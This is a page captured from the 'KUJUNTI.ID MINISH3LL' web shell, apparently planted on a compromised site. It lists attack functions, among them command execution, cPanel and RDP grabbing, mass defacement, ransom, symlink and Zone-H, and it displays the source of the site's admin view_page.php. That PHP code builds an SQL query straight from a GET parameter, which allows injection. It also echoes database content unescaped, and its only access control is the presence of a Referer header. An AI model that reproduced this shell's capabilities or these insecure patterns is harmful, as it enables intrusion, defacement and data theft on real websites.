KUJUNTI.ID MINISH3LL
Path : /home/jpenter/conceptacademicclasses.com/admin/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /home/jpenter/conceptacademicclasses.com/admin/view_page.php


<?php
session_start();

if(!isset($_SERVER['HTTP_REFERER'])){
    // redirect them to your desired location
    header('location:../admin/index.php');
    exit;
}

include_once 'dbconfig.php';

if(isset($_GET['view_id']))
{
 $sql_query="SELECT * FROM page WHERE id=".$_GET['view_id'];
 $result_set=mysqli_query($con,$sql_query);
 $fetched_row=mysqli_fetch_array($result_set,MYSQLI_ASSOC);
}



?>
<?php include('header.php'); ?>
        <!-- ============================================================== -->
        <!-- End Left Sidebar - style you can find in sidebar.scss  -->
        <!-- ============================================================== -->
        <!-- ============================================================== -->
        <!-- Page wrapper  -->
        <!-- ============================================================== -->
        <div class="page-wrapper">
            <!-- ============================================================== -->
            <!-- Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <div class="page-breadcrumb">
                <div class="row">
                    <div class="col-12 d-flex no-block align-items-center">
                        <h4 class="page-title">Extra Pages</h4>
                        <div class="ml-auto text-right">
                            <button type="button" class="btn btn-success btn-sm" style="float:right;" onclick="location.href='page.php'">Back to Pages</button>
                        </div>
                    </div>
                </div>
            </div>
            <!-- ============================================================== -->
            <!-- End Bread crumb and right sidebar toggle -->
            <!-- ============================================================== -->
            <!-- ============================================================== -->
            <!-- Container fluid  -->
            <!-- ============================================================== -->
            <div class="container-fluid">
			
                <!-- ============================================================== -->
                <!-- Start Page Content -->
                <!-- ============================================================== -->
                <div class="row el-element-overlay">
                    <div class="col-md-8" >
                        <div class="card">
                            <div class="el-card-item">
                                <div class="el-card-avatar el-overlay-1"> <img src="uploads/page/<?php echo $fetched_row['image'] ?>" alt="user" style="height:300px;" />
                                    
                                </div>
                               
                            </div>
							
                        </div>
                    </div>
                    <div class="col-md-8">
                        <div class="card">
                            <div class="card-body">
                                <h5 class="card-title"><?php echo $fetched_row['section1_title'] ?></h5>
                                <p><?php echo $fetched_row['section1_content'] ?></p>
                            </div>
                        </div>
                    </div>
					<div class="col-md-8">
                        <div class="card">
                            <div class="card-body">
                                <h5 class="card-title"><?php echo $fetched_row['section2_title'] ?></h5>
                                <p><?php echo $fetched_row['section2_content'] ?></p>
                            </div>
                        </div>
                    </div>
                </div>
				
                <!-- ============================================================== -->
                <!-- End PAge Content -->
                <!-- ============================================================== -->
                <!-- ============================================================== -->
                <!-- Right sidebar -->
                <!-- ============================================================== -->
                <!-- .right-sidebar -->
                <!-- ============================================================== -->
                <!-- End Right sidebar -->
                <!-- ============================================================== -->
            </div>
            <!-- ============================================================== -->
            <!-- End Container fluid  -->
            <!-- ============================================================== -->
            <!-- ============================================================== -->
            <!-- footer -->
            <!-- ============================================================== -->
          <?php include('footer.php'); ?>

© KUJUNTI.ID